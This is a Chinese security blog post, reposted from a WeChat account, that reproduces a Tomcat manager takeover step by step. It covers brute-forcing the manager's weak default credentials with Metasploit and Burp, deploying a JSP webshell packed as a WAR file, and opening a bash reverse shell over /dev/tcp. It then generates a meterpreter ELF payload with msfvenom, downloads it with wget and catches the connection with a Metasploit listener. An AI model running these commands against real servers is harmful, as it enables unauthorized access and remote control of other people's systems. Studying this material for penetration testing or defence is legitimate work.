【漏洞复现】Tomcat后台部署War包Getshell

admin 2023年2月16日23:26:34评论179 views字数 1986阅读6分37秒阅读模式


一、概述

Tomcat支持在后台部署war文件,可以直接将webshell部署到web目录下。其中,欲访问后台,需要对应用户有相应权限。

Tomcat7+权限分为: - manager(后台管理)   - manager-gui 拥有html页面权限   - manager-status 拥有查看status的权限   - manager-script 拥有text接口的权限,和status权限   - manager-jmx 拥有jmx权限,和status权限 - host-manager(虚拟主机管理)   - admin-gui 拥有html页面权限   - admin-script 拥有text接口权限

conf/tomcat-users.xml文件中配置用户的权限:

<?xml version="1.0" encoding="UTF-8"?><tomcat-users xmlns="http://tomcat.apache.org/xml"              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"              version="1.0">
<role rolename="manager-gui"/> <role rolename="manager-script"/> <role rolename="manager-jmx"/> <role rolename="manager-status"/> <role rolename="admin-gui"/> <role rolename="admin-script"/> <user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />
</tomcat-users>

可见上述配置文件存在账号密码,通常为tomcat

二、复现

2.1 弱口令

tomcat后台的弱口令通常为tomcat ,这里可以使用的爆破的方式

2.1.1 利用msf爆破tomcat

msfconsoleuse scanner/http/tomcat_mgr_loginshow optionsset rhosts 192.168.1.13run

【漏洞复现】Tomcat后台部署War包Getshell

爆破的结果比较不显眼

【漏洞复现】Tomcat后台部署War包Getshell

2.1.2 利用burp爆破

了解tomcat密码格式base64(账号:密码)代理设置好了之后,burp不要抓包,在历史记录能看到记录,这里的Authorization 就是认证的密码,使用了base64加密的,所以对这块进行爆破就好了

【漏洞复现】Tomcat后台部署War包Getshell

解密后的

【漏洞复现】Tomcat后台部署War包Getshell



添加爆破位置

【漏洞复现】Tomcat后台部署War包Getshell


选择类型

【漏洞复现】Tomcat后台部署War包Getshell怎么选择看下这个文章https://zhuanlan.zhihu.com/p/143118905直接爆破就好了

2.2 后台部署war包getshell

war包的生成

将muma.jsp压缩为zip,然后修改后缀成war或者jar -cvf muma.war muma.jsp(推荐这种方式生成)

生成好的war包上传就ok了

【漏洞复现】Tomcat后台部署War包Getshell

上传完之后,刷新一下,在web上就能看到自己上传的war包了,点击就可以访问访问的shell路径:ip:port/创建的war包的名字/war包内jsp的名字http://192.168.1.13:8080/jsp/jsp.jsp连接shell

【漏洞复现】Tomcat后台部署War包Getshell

反弹shell

/bin/bash -c 'bash -i >&/dev/tcp/192.168.1.5/1234 0>&1'【漏洞复现】Tomcat后台部署War包Getshell


【漏洞复现】Tomcat后台部署War包Getshell

三、上线msf

利用msf生成linux可执行程序,并用msf监听

1、生成可执行程序

• 这里的payload用的是反向的• lhost地址是回连的地址• lport是回连的端口• linux的可执行程序是elf格式的
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.13 LPORT=1234 -f elf > shell.elf

【漏洞复现】Tomcat后台部署War包Getshell

2、主机获取可执行程序

在生成elf可执行程序的机器启动一个python的http临时服务,再拉取wget 192.168.1.13:1234/shell.elf

【漏洞复现】Tomcat后台部署War包Getshell

【漏洞复现】Tomcat后台部署War包Getshell

3、msf启动监听

use exploit/multi/handlerset payload linux/x86/meterpreter/reverse_tcpset lhost 192.168.1.13set lport 1234run

【漏洞复现】Tomcat后台部署War包Getshell

4、shell的机器上执行

chmod 777 shell.elf./shell.elf

5、msf启动监听

【漏洞复现】Tomcat后台部署War包Getshell

 四、加入星球

【漏洞复现】Tomcat后台部署War包Getshell

【漏洞复现】Tomcat后台部署War包Getshell

【漏洞复现】Tomcat后台部署War包Getshell



原文始发于微信公众号(xiufeisec):【漏洞复现】Tomcat后台部署War包Getshell

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月16日23:26:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【漏洞复现】Tomcat后台部署War包Getshellhttps://cn-sec.com/archives/1276371.html

发表评论

匿名网友 填写信息